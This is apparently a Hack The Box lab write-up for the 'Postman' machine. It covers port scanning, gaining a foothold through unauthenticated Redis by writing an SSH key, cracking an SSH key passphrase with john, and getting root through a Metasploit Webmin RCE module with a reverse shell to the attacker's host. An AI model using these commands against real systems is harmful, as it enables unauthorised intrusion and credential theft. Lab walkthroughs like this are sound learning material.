HTB Postman writeup#

‘Easy’ machine, user was a bit of a challenge, rooting was easier. The process is: Scan –> Initial foothold –> Own User –> Own Root.

Initial Scan#


# add to hosts and scan
sudo echo "10.10.10.160    postman" >/etc/hosts
sudo nmap -sV -sC -sT -O -o nmapinitial Postman

Scan results


Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-27 02:33 CET
Nmap scan report for postman (10.10.10.160)
Host is up (0.11s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=12/27%OT=22%CT=1%CU=39870%PV=Y%DS=2%DC=I%G=Y%TM=5E055F
OS:9E%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST
OS:11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)EC
OS:N(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.16 seconds

We got an OpenSSH server and two different webservers. The Apache server on port 80 does not seem to contain anything interesting.

Web on port 80 I launched dirbuster in the background just in case while I investigated the other services.

On port 10000, we got a Webmin instance, v1.910 (from the Server header). Looking at the official website, looks like Webmin is a tool used to remotely manage UNIX machines. Moreover, Searching for “Webmin 1.910” on Google returns an interesting set of results. This should be easy, right?

Search results for Webmin 1.910 in Google

Most of the exploits are written for Metasploit, so lets launch it and see what we can do.

Initial foothold?#

Lets launch Metasploit and search for the Webmin exploits.


$ sudo msfdb init
[+] Starting database
[i] The database appears to be already configured, skipping initialization

$ msfconsole

       =[ metasploit v5.0.65-dev                          ]
+ -- --=[ 1955 exploits - 1092 auxiliary - 336 post       ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > search webmin

Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ----                                         ---------------  ----       -----  -----------
   0  auxiliary/admin/webmin/edit_html_fileaccess  2012-09-06       normal     No     Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
   1  auxiliary/admin/webmin/file_disclosure       2006-06-30       normal     No     Webmin File Disclosure
   2  exploit/linux/http/webmin_packageup_rce      2019-05-16       excellent  Yes    Webmin Package Updates Remote Command Execution
   3  exploit/unix/webapp/webmin_backdoor          2019-08-10       excellent  Yes    Webmin password_change.cgi Backdoor
   4  exploit/unix/webapp/webmin_show_cgi_exec     2012-09-06       excellent  Yes    Webmin /file/show.cgi Remote Command Execution
   5  exploit/unix/webapp/webmin_upload_exec       2019-01-17       excellent  Yes    Webmin Upload Authenticated RCE
From the matching modules, there are three that apply to our version (2, 3 and 5), but 2 and 5 require user credentials, so lets try 3 (exploit/unix/webapp/webmin_backdoor). Looking at the description, we can see that some Webmin versions served by SourceForge were backdoored, and this exploit will try to use the introduced backdoor to gain access.


msf5 > use exploit/unix/webapp/webmin_backdoor
msf5 exploit(unix/webapp/webmin_backdoor) > show options

Module options (exploit/unix/webapp/webmin_backdoor):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      10000            yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path to Webmin
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (Unix In-Memory)


msf5 exploit(unix/webapp/webmin_backdoor) > set RHOSTS Postman
RHOSTS => Postman
msf5 exploit(unix/webapp/webmin_backdoor) > set SRVHOST 10.10.14.200
SRVHOST => 10.10.14.200
msf5 exploit(unix/webapp/webmin_backdoor) > set SSL true
SSL => true
msf5 exploit(unix/webapp/webmin_backdoor) > set LHOST 10.10.14.200
LHOST => 10.10.14.200
msf5 exploit(unix/webapp/webmin_backdoor) > run

[*] Started reverse TCP handler on 10.10.14.200:4444
[-] Exploit aborted due to failure: not-vulnerable: Set ForceExploit to override
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/webmin_backdoor) >

The exploit failed, looks like our target is not vulnerable. Looks like a dead end, and dirbuster did not find anything. What did we miss?

Initial Scan - Part 2 ¯\(ツ)#

Lets launch nmap again, scanning all ports this time:


sudo nmap -sV -sC -sT -O -p- -o nmapinitial Postman

truncated output:


....
Nmap scan report for postman (10.10.10.160)
Host is up (0.17s latency).
Not shown: 65494 closed ports, 37 filtered ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-server-header: MiniServ/1.910
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
...
Ouch, we got a Redis server that went unnoticed, and on its default port (6379).

Initial foothold#

We can directly access the Redis server using redis-cli, without authentication. Redis is a key-value storage (you may think of it as a giant dictionary), so the first logical step seems to enumerate all the keys.


redis-cli -h Postman

Postman:6379> KEYS *
(empty list or set)

Is there anyway to turn our Redis database access to RCE? Luckily yes, and the process is well documented [1] [2] The idea is to configure Redis to backup its data (where we will put our public ssh key) to a file named authorized_keys, whose path we will set to a .ssh folder of our convenience, so we can normally login using ssh.

We can manually exploit it, use the redis upload Metasploit module, or use an existing Python exploit. I failed to manually exploit it, there were multiple people connected to the Redis server and I was taking to long to complete the steps, so I tried the Python exploit, and after several attempts I finally got a shell.

Note: If you get asked for a password after successfully installing the certificate, you may need to reset the machine.

Looks like the flag is in /home/Matt, but we do not have read access. Time to escalate!

Escalating to user#

Using the redis account, lets enumerate the machine, using the helper script htbenum.

On the host machine:


./htbenum.sh -u
./htbenum.sh -i yourip -p 8080 -w

On the remote machine:


wget http://yourip:8080/htbenum.sh -O /tmp/htbenum.sh
chmod +x ./htbenum.sh
./htbenum.sh -i yourip -p 8080 -r

Inside the generated report file, we get something interesting, a private (but password protected) SSH key in the /opt directory.

Let’s download it (copy pasting works fine), and try to crack it with john:


# Convert the key to a format that john understands
/usr/share/john/ssh2john.py key >pw
john --wordlist=/usr/share/rockyou.txt pw

And we get the password computer2008. Using the private key or the password with SSH does not work, but su Matt from the redis user does.


redis@Postman:~$ su Matt
Password:
Matt@Postman:/var/lib/redis$ cd
Matt@Postman:~$ ls
user.txt
Matt@Postman:~$ cat user.txt
517ad0*******************
We owned user!

Root#

Remember the login form on port 10000 for Webmin? We got a valid pair of user/password, lets try them in the login form on https://Postman:1000.

Webmin dashboard

Nice, we have valid credentials for the Webmin server! That reminds me of two exploits that needed working credentials :). Lets try with one of the exploits, exploit/linux/http/webmin_packageup_rce


msf5 > use exploit/linux/http/webmin_packageup_rce
msf5 exploit(linux/http/webmin_packageup_rce) > show options

Module options (exploit/linux/http/webmin_packageup_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      10000            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME                    yes       Webmin Username
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910


msf5 exploit(linux/http/webmin_packageup_rce) > set RHOSTS Postman
RHOSTS => Postman
msf5 exploit(linux/http/webmin_packageup_rce) > set USERNAME Matt
USERNAME => Matt
msf5 exploit(linux/http/webmin_packageup_rce) > set PASSWORD computer2008
PASSWORD => computer2008
msf5 exploit(linux/http/webmin_packageup_rce) > set SSL true
SSL => true
msf5 exploit(linux/http/webmin_packageup_rce) > set LHOST 10.10.14.200
LHOST => 10.10.14.200
msf5 exploit(linux/http/webmin_packageup_rce) > run

[*] Started reverse TCP handler on 10.10.14.200:4444
[+] Session cookie: dc92983ded0f9a0bf48d72e23b8ee903
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (10.10.14.200:4444 -> 10.10.10.160:39002) at 2019-12-29 03:50:33 +0100
>whoami
root
>ls /root/
redis-5.0.0
root.txt
>cat /root/root.txt
a2577*************************

And we owned root.

Acknowledgments#

Thanks to @J4ri for the nudge that led to the discover of the Redis server, that went completely unnoticed at first.